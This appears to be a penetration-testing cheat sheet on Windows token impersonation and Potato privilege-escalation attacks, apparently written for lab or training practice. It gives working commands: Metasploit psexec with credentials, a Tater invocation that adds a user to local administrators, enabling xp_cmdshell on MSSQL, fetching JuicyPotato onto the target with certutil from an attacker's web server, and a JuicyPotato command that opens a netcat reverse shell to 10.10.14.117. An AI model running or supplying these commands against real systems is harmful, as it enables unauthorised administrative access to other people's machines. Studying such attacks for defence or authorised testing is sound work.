Token Impersonation - Potato attacks

What is it

  • Token are temp keys that give access to a system or network without credentials.

How to

  • Launch Metasploit msfconsole

  • Choose the exploit: use exploit/windows/smb/psexec

  • Set: rhosts, smbdomain, smbpass, smbuser, target (we can use show targets to have a list), payload

  • Launch the attack: run

  • We get a shell:

    msf6 exploit(windows/smb/psexec) > run

  • If we hashdump again it will not work so we can rev2self to get back to the initial user

  • Any user that has logged in the target will have a token there until the target reboots

Potato Attacks

  • These attacks requires the SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege to be enabled on the machine.

Hot potato

  • We can use Tater

  • powershell.exe -nop -ep bypass

  • Import-Module .\Tater.ps1

  • Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add"

  • Your user should be in the administrators group net localgroup administrators to check

  • See here an example of a potato attack

Enumeration after initial shell with MSSQL

  • Say we have a shell on an mssql instance mssqlclient.py sql_dev@IP-ADD -windows-auth

  • We can enable command shell using enable_xp_cmdshell

  • And then we will be able to type every command we need this way: xp_cmdshell whoami /priv

  • We do!

Exploitation

  • Let's get JuicyPotato binary in our attacking machine wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe

  • Let's serve the file to our target using python http server python3 -m http.server 80

  • Let's take it in our shell using certutil xp_cmdshell certutil.exe -urlcache -f http://10.10.14.117/JuicyPotato.exe C:\Tools\JuicyPotato.exe

  • Let's get an admin shell xp_cmdshell c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.117 8443 -e cmd.exe" -t * where -l is the COM server listening port, -p is the program to launch (cmd.exe), -a is the argument passed to cmd.exe, and -t is the createprocess call. We are trying both the CreateProcessWithTokenW and CreateProcessAsUser functions, which need SeImpersonate or SeAssignPrimaryToken privileges respectively.
